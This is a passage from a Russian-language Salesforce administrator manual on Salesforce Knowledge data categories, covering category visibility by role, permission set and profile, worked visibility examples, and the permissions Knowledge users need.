категорий данных:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Соотнесениекатегорийданныхможетиспользоватьсядляпредварительнойфильтрации
статей на основе сведений об обращениях на вкладке «Статьи», в компоненте боковой
панели «Статьи» и области расширенного поиска.

Важное замечание: Предварительная фильтрация статей на основе сведений об
обращениях доступна только для текстовых полей и полей раскрывающегося
списка.

Соотнесение категорий данных позволяет определять статьи, которые должны
отображаться на вкладке «Статьи», в компоненте боковой панели «Статьи» или области
расширенного поиска на основе сведений об обращениях. Дополнительную
информацию о категориях данных см. в разделе «Что такое категории данных?» на
странице 3060.

Чтобы применить соотнесение категорий данных, выберите поля обращений, которые
должны быть соотнесены с группами категорий данных, и определите стандартную
категорию данных для обращений, содержащих пустые соотнесенные поля.

1. Введите строку «Сопоставления категорий данных» в поле «Быстрый поиск» и
выберите пункт «Сопоставления источников данных» в разделе «Ответы».

2. Чтобы добавить поле, воспользуйтесь раскрывающимся списком в столбце «Поле
обращения».

3. Чтобы соотнести сведения, введенные в поле поиска, с группой категорий данных,
воспользуйтесь раскрывающимся списком в столбце «Группа категорий данных».

4. Чтобыназначитькатегориюданных, еслизначениеполянесоответствуеткатегориям
группы, воспользуйтесьраскрывающимсяспискомвстолбце «Стандартная категория
данных».

5. Нажмите кнопку «Добавить».

Пример: Например, чтобыотфильтроватьстатьипопродуктамклиента, соотнеситенастраиваемоеполеобращений
«Продукты» с группой категорий данных «Продукты».
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Редактирование доступности группы категорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра сведений о роли:

«Управление ролями»Для редактирования и удаления ролей:

«Управление профилями и наборами
полномочий»

Для редактирования и удаления наборов
полномочий и профилей:

«Просмотр настройки и конфигурации»Для просмотра пользователей:

«Управление внутреннимипользователями»Для редактирования пользователей:

«Просмотр категорий данных»Для просмотра категорий:

«Управление категориями данных»

И

«Просмотр категорий данных»

Для управления категориями данных:

Доступностькатегорийданныхзадаетсяролями, наборамиполномочийилипрофилями.
Data category visibility determines the individual data categories, categorized articles, and
categorized questions that you can see. Система salesforce.com поддерживает три типа
доступности.

• Все категории: отображаются все категории

• Нет: категории не отображаются

• Настраиваемый: отображаются выбранные категории

With custom data category visibility, you can only see the data categories permitted by their role, permission sets, or profile.

Чтобы изменить параметры доступности категорий данных, выполните указанные ниже действия.

1. Откройте страницу параметров доступности категорий данных в меню «Настройка».

• Для ролей: Введите строку «Роли» в поле «Быстрый поиск» и выберите пункт «Роли».

• Для роли клиентского или партнерского портала: Введите строку «Пользователи» в поле «Быстрый поиск» и
выберите пункт «Пользователи».

• Для наборов полномочий: Введите строку «Наборы полномочий» в поле «Быстрый поиск» и выберите пункт
«Наборы полномочий».

• Для профилей: Введите строку «Профили» в поле «Быстрый поиск» и выберите пункт «Профили».

2. Откройте нужную группу категорий данных.

• Для ролей: щелкните ссылку «Правка» напротив нужной группы категорий в связанном списке «Параметры
доступности группы категорий».

• Для наборов полномочий и профилей:

a. Щелкните имя нужного набора полномочий или профиля.

b. Щелкните «Доступность категорий данных».

c. Щелкните ссылку «Правка» напротив нужной группы категорий данных.
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3. Выберите нужный тип доступности.

ОписаниеТип доступности

Пользователям доступны все категории группы. Данный тип доступен только верхней роли в
иерархии ролей.По умолчанию новой группе категорий назначается тип доступности «Все
категории».

Все категории

Пользователям недоступны категории группы.Нет

Пользователям доступны только выбранные категории. При использовании ролей выбранная
категория должна быть доступна родительской роли. Если доступность дочерней роли

Настраиваемый

превышает доступность родительской роли, то категориям дочерней роли назначается
доступность категорий родительской роли.

Чтобывыбратькатегории, дваждыщелкнитенужнуюкатегориювполе «Доступные категории».
Иливыберитенужнуюкатегориюинажмитекнопку«Добавить». Выборкатегорииинициирует
выбор ее родительской и дочерних категорий. Категории, отображаемые серым цветом,
недоступны для выбора, так как их родительская категория уже выбрана.

Прим.: Чтобы настроить роль, набор полномочий или профиль, использующий тип
доступности «Все категории», рекомендуемудалить значение «Все»изполя «Выбранные
категории» и выбрать нужные категории.

4. Нажмите кнопку «Сохранить».

Советы по внедрению
• По умолчанию новой группе категорий назначается тип доступности «Все категории».

• Доступность, предоставленная категории, также предоставляется ее родительской и дочерним категориям. Чтобы
предоставить доступ ко всем категориям в ветви иерархии категорий, выберите категорию верхнего уровня «Все
категории».

• Если доступность категорий не назначена ролью, набором полномочий или профилем, то пользователи могут
просматривать только некатегоризированные статьи и вопросы, кроме следующих случаев:

– Наличие полномочия «Просмотр всех данных».

– Группа категорий становится доступной для всех пользователей на странице «Видимость категорий данных по
умолчанию» в меню «Настройка».

• При использовании ролевой доступности пользователи клиентского и партнерского порталов наследуют роль,
назначенную их менеджерам по умолчанию. Параметры доступности группы категорий могут быть изменены для
каждой роли портала.

Рекомендации
• Чтобы настроить иерархию категорий и назначить доступность, рекомендуем использовать неактивные группы

категорий. Группа категорий отображается в Salesforce Knowledge или сообществе ответов только после ее активации
пользователем.

3076

Добавление Salesforce KnowledgeНастройка и обслуживание инструментов службы поддержки



• При использовании ролевой доступности рекомендуем настраивать доступность категорий данных от верхних
уровнейиерархииролейкнижним. Вотличиеотвышестоящихролей, подчиненнымролямдолжнабытьпредоставлена
ограниченная доступность.

СМ. ТАКЖЕ:

Общие сведения о доступности группы категорий

Управление категориями данных

Примеры параметров доступности группы категорий для статей

Общие сведения о доступности группы категорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра сведений о роли:

«Управление ролями»Для редактирования и удаления ролей:

«Управление профилями и наборами
полномочий»

Для редактирования и удаления наборов
полномочий и профилей:

«Просмотр настройки и конфигурации»Для просмотра пользователей:

«Управление внутреннимипользователями»Для редактирования пользователей:

«Просмотр категорий данных»Для просмотра категорий:

«Управление категориями данных»

И

«Просмотр категорий данных»

Для управления категориями данных:

Доступностькатегорийданныхзадаетсяролями, наборамиполномочийилипрофилями.
Доступность категорий данных определяет отдельные категории данных, а также
категоризированныестатьиивопросы, доступныепользователям. Система salesforce.com
поддерживает три типа доступности.

• Все категории: отображаются все категории

• Нет: категории не отображаются

• Настраиваемый: отображаются выбранные категории

При использовании типа доступности «Настраиваемый» пользователи могут просматривать только категории данных,
разрешенные ролью, наборами полномочий или профилем.

Применение параметров доступности

Благодаря широкому толкованию доступности группы категорий, пользователи могут получать доступ к различной
информации. Предоставление доступа к категории инициирует доступ пользователей ко всем родственным категориям
(предшественники, прямойродитель, потомкипервого уровня, потомкипоследующихуровней). Например, рассмотрим
группу категорий «География», содержащую части света («Азия» и «Европа») на верхнем уровне, различные страны на
второмуровнеигороданатретьем. Приналичиидоступатолькоккатегории «Франция» пользовательможетпросматривать
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статьи, связанныес категориями «Европа», «Франция» ивсемифранцузскимигородами. Другимисловами, пользователю
доступныкатегории, расположенныевышеилинижекатегории «Франция», нонедоступныстатьи, связанныес категорией
«Азия» или другими частями света.

Прим.: Вкладка «Ответы» отображает только категории первого уровня. Применительно к группе категорий
«География» вкладка «Ответы» отображает только части света, поэтому вопросы, связанные с категорией «Европа»,
доступны участникам зоны только в том случае, если параметры доступности группы категорий разрешают доступ
к категории «Франция».

Параметры доступности группы категорий применяются на вкладках «Ответы», «Управление статьями» и «Статьи» во
всех каналах (внутреннее приложение, партнерский портал, сообщество Salesforce.com и клиентский портал), а также в
общедоступной базе знаний. Ниже перечислены области, где пользователям доступны только категории, разрешенные
параметрами доступности.

• Вкладка «Управление статьями» (при создании или редактировании статей)

• Раскрывающееся меню категорий для поиска статей на вкладках «Управление статьями» и «Статьи»

• Список категорий, расположенный под именем зоны на вкладке «Ответы»

Исходные параметры доступности

Если организация не использует доступность категорий данных посредством роли, набора полномочий или профиля,
то все пользователи могут просматривать все категории данных. Если связанные категории недоступны по умолчанию,
то пользователи, которым не назначена доступность категорий данных посредством роли, набора полномочий или
профиля, могут просматривать только некатегоризированные статьи и вопросы. Параметры доступности роли, набора
полномочий или профиля ограничивают стандартные параметры доступности; другими словами, категория данных,
доступная по умолчанию, недоступна пользователям, роль которых ограничивает доступ к этой категории данных.

Прим.: Если доступность категорий данных задается посредством ролей, наборов полномочий или профилей, то
система Salesforce создает правило доступности для каждого пользователя путем добавления логической функции
«ИЛИ» между определениями.

Наследование параметров ролевой доступности

Дочерние роли наследуют параметры родительской роли и все ее изменения. При необходимости пользователь может
настроить и уточнить доступность дочерней роли, но не может расширить ее относительно родительской роли. По
умолчанию пользователи клиентского и партнерского порталов наследуют параметры доступности группы категорий,
назначенныеихменеджерам. Параметры доступности группы категориймогут быть измененыдля каждойролипортала.
Пользователимассового портала, которые не имеют ролей, могут просматривать категоризированные статьи и вопросы
только после определения параметров доступности посредством набора полномочий или профиля.

Доступность категоризированных статей

Статья доступна пользователю только при наличии доступа как минимум к одной категории соответствующей группы
категорий. Например, статье назначены категории «Новосибирская область» и «Московская область» из группы категорий
«География», а также категория «Настольные компьютеры» из группы категорий «Продукты».

• При наличии доступа к категориям «Московская область» и «Настольные компьютеры» (но не «Новосибирская
область») статья доступна для просмотра.

• При наличии доступа только к категории «Настольные компьютеры» статья недоступна для просмотра.

• При наличии доступа к категории «Новосибирская область» (но не «Настольные компьютеры») статья недоступна
для просмотра.
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Отмененная доступность

Доступность категорий данных может быть отменена (значение «Нет») для отдельной группы категорий. Пользователи
целевой роли, набора полномочий или профиля могут просматривать только статьи и вопросы, которым не назначена
категория данной группы. Например, пользователь, для роли которого отменена доступность к группе категорий
«География», но предоставлена доступность к группе категорий «Продукты», может просматривать только
некатегоризированныестатьивгруппекатегорий «География» икатегоризированныестатьивгруппекатегорий «Продукты».
Участник зоны ответов, поддерживающей назначение только одной группы категорий, может просматривать только
некатегоризированныевопросы, если зоненазначена группакатегорий «География», котораянедоступнаролиучастника.

СМ. ТАКЖЕ:

Что такое категории данных?

Редактирование доступности группы категорий

Просмотр доступности группы категорий для ролей

Изменение доступности категорий данных по умолчанию

Примеры параметров доступности группы категорий для статей

Отличие доступности категорий от других моделей Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Доступностькатегорийданныхзадаетсяролями, наборамиполномочийилипрофилями.
Data category visibility determines the individual data categories, categorized articles, and
categorized questions that you can see. Система salesforce.com поддерживает три типа
доступности.

• Все категории: отображаются все категории

• Нет: категории не отображаются

• Настраиваемый: отображаются выбранные категории

With custom data category visibility, you can only see the data categories permitted by their role,
permission sets, or profile.

Данные параметры используются только статьями и вопросами, поэтому отличаются
от других моделей Salesforce.

Использование только статьями и вопросами
Доступ к статьям и вопросам определяется параметрами доступности группы
категорий. Статьиивопросыявляютсястандартнымиобъектами, нонеподдерживают
единые стандартные параметры, правила общего доступа, полномочия объекта
«Создание» и «Чтение», а также общий доступ, установленный вручную.

Доступ
Параметры доступности группы категорий определяются ролью, набором
полномочий или профилем пользователя. Категории, доступные дочерним ролям,
доступны соответствующей родительской роли. Чтобы изменить доступность
категорий, а также категоризированных статей и вопросов, рекомендуем изменить параметры доступности для роли,
набораполномочийилипрофиляпользователя, либопредоставитьвсемпользователямдоступкнекоторымкатегориям,
если доступности категорий данных не назначен тип «Настраиваемый».

Широкое толкование параметров доступности

To ensure a wide range of relevant information, category group visibility is broadly interpreted. Предоставление доступа к
категорииинициирует доступпользователей ко всем родственнымкатегориям (предшественники, прямойродитель,
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потомки первого уровня, потомки последующих уровней). Например, рассмотрим группу категорий «География»,
содержащую части света («Азия» и «Европа») на верхнем уровне, различные страны на втором уровне и города на
третьем. При наличии доступа только к категории «Франция» пользователь может просматривать статьи, связанные
с категориями «Европа», «Франция» и всеми французскими городами. Другими словами, пользователю доступны
категории, расположенные выше или ниже категории «Франция», но недоступны статьи, связанные с категорией
«Азия» или другими частями света.

Прим.: Вкладка «Ответы» отображает только категории первого уровня. Применительно к группе категорий
«География» вкладка «Ответы» отображаеттолькочастисвета, поэтомувопросы, связанныескатегорией «Европа»,
доступны участникам зоны только в том случае, если параметры доступности группы категорий разрешают
доступ к категории «Франция».

СМ. ТАКЖЕ:

Управление категориями данных

Общие сведения о доступности группы категорий

Просмотр доступности группы категорий для ролей

Примеры параметров доступности группы категорий для статей
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Изменение доступности категорий данных по умолчанию

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра категорий:
• «Просмотр категорий

данных»

Для управления категориями
данных:
• «Управление

категориями данных»

И

«Просмотр категорий
данных»

Для назначения групп
категорий по умолчанию:
• «Управление

категориями данных»

Доступностькатегорийданныхзадаетсяролями, наборамиполномочийилипрофилями.
Доступность категорий данных определяет отдельные категории данных, а также
категоризированныестатьиивопросы, доступныепользователям. Система salesforce.com
поддерживает три типа доступности.

• Все категории: отображаются все категории

• Нет: категории не отображаются

• Настраиваемый: отображаются выбранные категории

При использовании типа доступности «Настраиваемый» пользователи могут
просматривать только категории данных, разрешенные ролью, наборами полномочий
или профилем.

Чтобы изменить стандартную доступность категорий данных, выполните указанные
ниже действия.

1. Введитестроку «Видимость категорий данных по умолчанию» вполе «Быстрый поиск»
и выберите пункт «Видимость категорий данных по умолчанию». При этом
откроется страница, содержащая все активные и неактивные группы категорий.

2. Выберите нужную группу категорий ищелкните «Правка».

3. Чтобы все категории группы отображались по умолчанию выберите «Все
категории». Чтобы ни одна категория не отображалась по умолчанию выберите
«Нет». Чтобы по умолчанию отображались некоторые категории выберите
«Настраиваемый».

4. При выборе типа доступности «Настраиваемый» переместите категории из области
«Доступные категории» в область «Выбранные категории». Выбор категории
инициирует выбор ее родительской и дочерних категорий. Чтобы отменить
стандартнуюдоступность, переместитекатегорииизобласти «Выбранныекатегории»
в область «Доступные категории».

Дополнительнуюинформациюо способах применения параметров доступности см. в
разделе «Общие сведения о доступности группы категорий» на странице 3077.

СМ. ТАКЖЕ:

Что такое категории данных?

Отличие доступности категорий от других моделей Salesforce
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Просмотр доступности группы категорий для ролей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра сведений о роли:

«Управление ролями»Для редактирования и удаления ролей:

«Управление профилями и наборами
полномочий»

Для редактирования и удаления наборов
полномочий и профилей:

«Просмотр настройки и конфигурации»Для просмотра пользователей:

«Управление внутреннимипользователями»Для редактирования пользователей:

«Просмотр категорий данных»Для просмотра категорий:

«Управление категориями данных»

И

«Просмотр категорий данных»

Для управления категориями данных:

Доступностькатегорийданныхзадаетсяролями, наборамиполномочийилипрофилями.
Data category visibility determines the individual data categories, categorized articles, and
categorized questions that you can see. Система salesforce.com поддерживает три типа
доступности.

• Все категории: отображаются все категории

• Нет: категории не отображаются

• Настраиваемый: отображаются выбранные категории

With custom data category visibility, you can only see the data categories permitted by their role, permission sets, or profile.

Дополнительную информацию о параметрах и их влиянии см. в разделе «Общие сведения о доступности группы
категорий» на странице 3077.

Просмотр доступности группы категорий для роли

Чтобы просмотреть параметр доступности категории роли, в разделе «Настройка» введите «Роли» в поле «Быстрый
поиск», затем выберите «Роли» и выберите роль. Чтобы просмотреть параметры доступности категории для роли
Пользовательского портала или партнерского портала, в разделе «Настройка» введите «Пользователи» в поле «Быстрый
поиск», затем выберите «Пользователи» ищелкните имя роли.

Связанный список «Параметры доступности группы категорий» содержит категории, доступные пользователям роли в
соответствии с группой категорий. В таблице ниже рассмотрены возможные значения для столбца «Доступность»
связанного списка.

ОписаниеДоступность

Пользователям доступны все категории группы. Данный
тип доступен только верхней роли в иерархии ролей.По

Все категории

умолчанию новой группе категорий назначается тип
доступности «Все категории».
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ОписаниеДоступность

Пользователям недоступны категории группы.Нет

Пользователям доступны только выбранные категории
группы.

Настраиваемый

Ниже перечислены действия, доступные в связанном списке «Параметры доступности группы категорий».

• Чтобы просмотреть сведения о параметрах, щелкните нужную группу категорий.

• Чтобы изменить параметры доступности, щелкните ссылку «Правка» напротив нужной группы категорий.

СМ. ТАКЖЕ:

Управление категориями данных

Примеры параметров доступности группы категорий для статей

Изменение назначений группы категорий в Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения назначений
групп категорий в Salesforce
Knowledge:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Salesforce Knowledge использует категории данных для классификации статей. Авторы
могут назначать статьямне более восьми категорий данныхиз одной группы категорий,
которые могут использоваться для фильтрации найденных статей по категории.
Дополнительнуюинформациюсм. вразделе «Чтотакоекатегорииданных?»настранице
3060.

Категории данных составляют группу категорий. После создания групп категорий
выберите группы, которые должны использоваться для статей Salesforce Knowledge.
Например, если организация использует функцию «Ответы» и Salesforce Knowledge, то
одна группакатегорийможетиспользоваться сообществомответов, а две другие группы
категорий — статьями. Ответы и статьи могут использовать одну группу категорий.

По умолчанию все новые группы категорий назначаются Salesforce Knowledge. Чтобы
изменить назначение, выполните указанные ниже действия.

1. Введитестроку «Назначения категорий данных» вполе «Быстрый поиск» ивыберите
пункт«Назначенияисточниковданных»вразделе «Знания». Отображаетсясписок
всех групп категорий.

2. Нажмитекнопку«Правка»ипереместителюбыегруппыкатегорий, которыедолжны
быть недоступны для статей, из списка «Выбранные группы категорий» в список
«Доступные группы категорий». При необходимости доступ к скрытой группе
категорий может быть восстановлен.

3. Нажмите кнопку «Сохранить».

Прим.: Порядок отображения групп категорий, используемый на странице
редактирования, не сохраняется на странице назначения категории данных.

Уведомление о завершении процесса сохранения будет отправлено по эл. почте.. В
настоящее время авторымогутназначать статьямкатегориивыбранных группна вкладке
«Управление статьями». Обратите внимание, что категории доступны авторам только
при условии активации группы категорий и предоставления доступа к категории параметрами доступности категорий
данных автора.
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Примеры параметров доступности группы категорий для статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Доступностькатегорийданныхзадаетсяролями, наборамиполномочийилипрофилями.
Доступность категорий данных определяет отдельные категории данных, а также
категоризированныестатьиивопросы, доступныепользователям. Система salesforce.com
поддерживает три типа доступности.

• Все категории: отображаются все категории

• Нет: категории не отображаются

• Настраиваемый: отображаются выбранные категории

При использовании типа доступности «Настраиваемый» пользователи могут
просматривать только категории данных, разрешенные ролью, наборами полномочий
или профилем.

Примеры ниже используют две группы категорий: «Продукты» и «География».

Прим.: Несмотрянато, чтопараметрыдоступностигруппыкатегорийприменяются
в сообществах ответов (вопросы) и Salesforce Knowledge (статьи), примеры ниже
относятся только к статьям. Сообщества ответов поддерживают одну группу
категорий и одну категорию данных для каждого вопроса.

Группа категорий «Продукты»

• Все продукты

– Бытовая электроника

• Фотоаппараты

• Аудиотехника

• Принтеры

– Промышленная электроника

• Маршрутизаторы

• Коммутаторы

• PEX

– Компьютеры

• Портативные компьютеры

• Настольные компьютеры

• КПК

Группа категорий «География»

• Все страны

– Северная иЮжная Америка

• США

• Канада

• Бразилия

– Азия

• Китай
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• Япония

• Индия

– Европа

• Франция

• Великобритания

• Польша

Пример 1. Иерархия ролей

В данномпримере организация Acme Electronics производит оборудование и предоставляет поддержку индивидуальным
и корпоративным клиентам. Проектный отдел организован по продуктам. Отдел поддержки организован по регионам.
Поддержка пользователей из Европы и Америки осуществляется внутренними рабочими группами, а пользователей из
Азии — внешними. Внутренние и внешние рабочие группы содержат подгруппы, специализирующиеся на поддержке
индивидуальных или корпоративных клиентов.

Втаблиценижепредставленыкатегории, доступныекаждойроливорганизации Acme Electronics, а такжестатуспараметров
доступности: унаследованные от родительской роли или настраиваемые.

Доступные категории продуктовДоступные географические
категории

Иерархия ролей Acme
Electronics

Все продуктыВсе страныГенеральный директор

Все продукты

Наследование от генерального директора

Все страны

Наследование от генерального директора

Вице-президент по
проектированию

Бытовая электроника

Настраиваемый

Все страны

Наследование от вице-президента по
проектированию

Рабочая группапроектного
отделапоиндивидуальным
клиентам

Промышленная электроника

Настраиваемый

Все страны

Наследование от вице-президента по
проектированию

Рабочая группапроектного
отдела по корпоративным
клиентам

Компьютеры

Настраиваемый

Все страны

Наследование от вице-президента по
проектированию

Рабочая группапроектного
отдела по компьютерам

Все продукты

Наследование от генерального директора

Все страны

Наследование от генерального директора

Вице-президентпоподдержке

Все продукты

Наследование отвице-президентапоподдержке

Европа, Америка

Настраиваемый

Вице-президент по
поддержке клиентов
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Доступные категории продуктовДоступные географические
категории

Иерархия ролей Acme
Electronics

Бытовая электроника, Компьютеры

Настраиваемый

Европа, Америка

Наследование от вице-президента по поддержке
клиентов

Начальник отдела
поддержки
индивидуальных
клиентов

Промышленная электроника,
Компьютеры

Настраиваемый

Европа, Америка

Наследование от вице-президента по поддержке
клиентов

Начальник отдела
поддержки
корпоративных
клиентов

Все продукты

Наследование отвице-президентапоподдержке

Азия

Настраиваемый

Внешняя поддержка

Бытовая электроника, Компьютеры

Настраиваемый

Азия

Наследование от внешней поддержки

Рабочая группа по
поддержке
индивидуальных
клиентов

Промышленная электроника,
Компьютеры

Настраиваемый

Азия

Наследование от внешней поддержки

Рабочая группа по
поддержке
корпоративных
клиентов

Пример 2. Доступность статей

Таблица ниже содержит подробный пример ограничения доступных данных посредством параметров доступности
категорий. Данный пример использует трех пользователей, параметры доступности которых указаны в скобках.

Табл. 37: Пример: как параметры доступности категорий ограничивают доступные данные?

Если пользователю 3
доступны категории
«Франция»/«Нет
категории», то категория:

Если пользователю 2
доступны категории
«Америка»/«Все
продукты», то категория:

Если пользователю 1
доступны категории «Все
страны»/«Компьютеры»,
то категория:

Категории

НЕДОСТУПНОДОСТУПНОДОСТУПНОВсе страны/Портативные
компьютеры

НЕДОСТУПНОДОСТУПНОДОСТУПНОКанада/Компьютеры

НЕДОСТУПНОДОСТУПНОДОСТУПНОСША/Все продукты

НЕДОСТУПНОНЕДОСТУПНОНЕДОСТУПНОЕвропа/Коммутаторы

ДОСТУПНОНЕДОСТУПНОДОСТУПНОЕвропа/Нет категории

Пользователь 1: пользователю должен быть предоставлен доступ ко всем категориям, назначенным статье, либо данные
категории должны быть доступны по умолчанию. В данном примере пользователь 1 может просмотреть категорию
«Европа», так какона является дочернейдля категории «Все страны», нонеможетпросмотреть категорию «Коммутаторы»,
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так как она не принадлежит категории «Компьютеры». Таким образом, пользователь 1 не может просмотреть статьи,
назначенные категориям «Европа»/«Коммутаторы».

Пользователь 2: пользователюпредоставляется косвенныйдоступк дочернимиродительскимкатегориямтойкатегории,
которая доступна пользователюсогласно настраиваемымпараметрамилипо умолчанию; соответственно, пользователь
2 может просмотреть статьи, назначенные категории «Все страны», так как она является родительской для категории
«Америка». Кроме того, пользователь может просмотреть статьи, назначенные категории «США», так как она является
дочерней для категории «Америка».

Пользователь 3: пользователь, которому предоставлен ограниченный доступ к группе категорий, может просмотреть
толькостатьи, которымненазначеныкатегорииданнойгруппы. Пользователь 3неможетпросмотретьстатьи, назначенные
категориям «Все страны»/«Портативные компьютеры», так как группа категорий, содержащая категорию «Портативные
компьютеры», недоступна. Темнеменее, пользовательможетпросмотретьстатьи, назначенныекатегориям «Европа»/«Нет
категории».

СМ. ТАКЖЕ:

Управление категориями данных

Общие сведения о доступности группы категорий

Просмотр доступности группы категорий для ролей

Редактирование доступности группы категорий

Отличие доступности категорий от других моделей Salesforce
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Предоставление полномочий пользователям Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
пользователей:
• «Управление

внутренними
пользователями»

Для создания типов статей
и действий над статьей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Полномочия определяют уровень доступа пользователя к разнымфункциям Salesforce
Knowledge. Чтобы предоставить пользователям нужные полномочия, рекомендуем
использовать наборы полномочий или настраиваемые профили. Например, система
позволяет создать набор полномочий «Менеджер статей», содержащий полномочия,
необходимые для создания, редактирования, публикации и назначения статей.

Ниже перечислены рекомендации по созданию профилей Salesforce Knowledge.

• Чтобы разрешить пользователям создавать типы статей, управлять действиями над
статьей и изменять параметры, предоставьте полномочие «Управление Salesforce
Knowledge». По умолчанию данное полномочие назначено профилю «Системный
администратор».

• Чтобыразрешитьпользователямискатьипросматривать статьина вкладке «Статьи»,
предоставьте полномочие «Чтение» для соответствующих типов статей. См. раздел
«Создание и назначение пользователей Salesforce Knowledge» на странице 3093.

• Чтобы разрешить пользователям редактировать черновые статьи и управлять
процессом публикации или перевода, предоставьте полномочие «Управление
статьями» и соответствующие полномочия для типа статьи. По умолчанию
полномочие «Управление статьями» назначено профилю «Системный
администратор».

• Пользователям сполномочием «Управление статьями» автоматическиназначаются
все действия над статьей. Действия над статьей на странице 3054 позволяют
пользователям выполнять такие операции, как публикация и архивирование статьи
или управление процессом перевода.

• Чтобы разрешить пользователям создавать категории данных, предоставьте
полномочие «Управлениекатегориямиданных». Поумолчаниюданноеполномочие
назначено профилю «Системный администратор».

• Чтобы разрешить пользователям импортировать статьи или импортировать и
экспортировать переводы, предоставьте полномочия «Чтение», «Создание»,
«Редактирование» и «Удаление».

Дополнительную информацию о полномочиях, связанных с задачами Salesforce
Knowledge, см. в таблице ниже.

Необходимые полномочия
пользователя

Задача Salesforce Knowledge

«Управление Salesforce Knowledge»Для создания типов статей:

«Управление Salesforce Knowledge»Для управления действиями над статьей:

«Чтение» и «Создание» для типа статьиДля созданиястатейнаосновеобращений
посредством простого редактора:

«Управление статьями»

И

Длясозданиястатейнаосновеобращений
посредством стандартного редактора:

«Чтение» и «Создание» для типа статьи
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Необходимые полномочия пользователяЗадача Salesforce Knowledge

«Чтение» для типа статьиДля поиска статей, созданных на основе обращений, и
добавления статей в обращения:

«Чтение» и «Создание» для типа статьиДля создания статей на основе ответов:

«Чтение» для типа статьиДля поиска и чтения статей на вкладке «Статьи» или «База
знаний»:

«Управление статьями»

И

Для создания или редактирования статей на вкладке
«Управление статьями»:

«Чтение», «Создание» и «Редактирование» для типа статьи

«Управление статьями»

И

Для редактирования черновых статей на вкладке
«Управление статьями»:

«Чтение» и «Редактирование» для типа статьи

«Управление статьями»

И

Для удаления статей на вкладке «Управление статьями»:

«Чтение», «Редактирование» и «Удаление» для типа статьи

И

Действие по удалению статьи, установленное на странице
«Настройка действий статьи».

«Управление статьями»

И

Дляпубликации статей на вкладке «Управление статьями»:

«Чтение», «Создание», «Редактирование» и «Удаление» для
типа статьи

И

Действие по опубликованию статьи, установленное на
странице «Настройка действий статьи».

«Управление статьями»

И

Для назначения статей на вкладке «Управление статьями»:

«Чтение» и «Редактирование» для типа статьи

«Управление статьями»

И

Дляредактированияопубликованныхилиархивныхстатей:

«Чтение», «Создание» и «Редактирование» для типа статьи

И

Действие по архивированию статьи, установленное на
странице «Настройка действий статьи».
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Необходимые полномочия пользователяЗадача Salesforce Knowledge

«Управление статьями»

И

Для архивирования статей на вкладке «Управление
статьями»:

«Чтение», «Создание», «Редактирование» и «Удаление» для
типа статьи

И

Действие по архивированию статьи, установленное на
странице «Настройка действий статьи».

«Управление статьями»

И

Для отправки статей на перевод:

«Чтение», «Создание» и «Редактирование» для типа статьи

И

Действие по переводу статьи, установленное на странице
«Настройка действий статьи».

«Управление статьями»

И

Для удаления переведенных статей:

«Чтение», «Редактирование» и «Удаление» для типа статьи

И

Действие по удалению статьи, установленное на странице
«Настройка действий статьи».

«Управление статьями»

И

Для публикации переведенных статей:

«Чтение», «Создание», «Редактирование» и «Удаление» для
типа статьи

И

Действие по опубликованию статьи, установленное на
странице «Настройка действий статьи».

«Управление статьями»

И

Для редактирования переведенных статей:

«Чтение», «Создание» и «Редактирование» для типа статьи

И

